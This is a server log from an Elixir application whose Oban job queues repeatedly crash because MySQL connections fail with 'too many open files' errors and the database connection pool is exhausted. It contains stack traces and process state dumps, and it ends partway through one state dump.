State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:59:00.238961Z], limit: 5, uuid: "36174de9-c589-4869-b849-48af7e912451", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:00.238965Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.236250>, refresh_timer: #Reference<0.2525715032.1077673987.62538>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:15.479000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:15.520000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:17.435000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:18.032000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:21.206000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:21.511000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:21.778000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:23.229000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:24.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:59:12.238773Z], limit: 20, uuid: "34673ec4-7a09-4d21-8f49-605f39bf8d27", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:12.238779Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.236444>, refresh_timer: #Reference<0.2525715032.1121189889.236424>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:24.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:59:12.239065Z], limit: 5, uuid: "2451fc37-28e6-4935-a93f-121a350f4b9d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:12.239071Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.236447>, refresh_timer: #Reference<0.2525715032.1077673987.62640>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:24.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:59:12.238363Z], limit: 10, uuid: "e2e672a1-8a61-4180-b819-c56e286cc714", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:12.238376Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.236445>, refresh_timer: #Reference<0.2525715032.1121189889.236413>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:59:12.239052Z], limit: 3, uuid: "e61a1156-64b7-483c-8fad-4d75d9388b95", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:12.239058Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.91365>, refresh_timer: #Reference<0.2525715032.1077673987.62641>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:59:12.239111Z], limit: 50, uuid: "029c4b64-e306-481c-a9ee-687d2f8e85e1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:12.239115Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.91364>, refresh_timer: #Reference<0.2525715032.1121189889.236443>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:59:12.240105Z], limit: 5, uuid: "e6572df0-ae09-46a7-a94c-9d14fa8642fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:12.240110Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.236446>, refresh_timer: #Reference<0.2525715032.1099431938.77514>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:29.295000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:30.016000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:30.511000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:30.793000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:32.521000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:32.727000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:59:24.244745Z], limit: 20, uuid: "7af11fa7-7952-43b6-9498-556c6bf12f68", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:24.244752Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.91666>, refresh_timer: #Reference<0.2525715032.1068498948.91665>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:59:24.245454Z], limit: 5, uuid: "6d5acdd1-bb4a-4d29-998f-29eff5e2f741", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:24.245459Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, 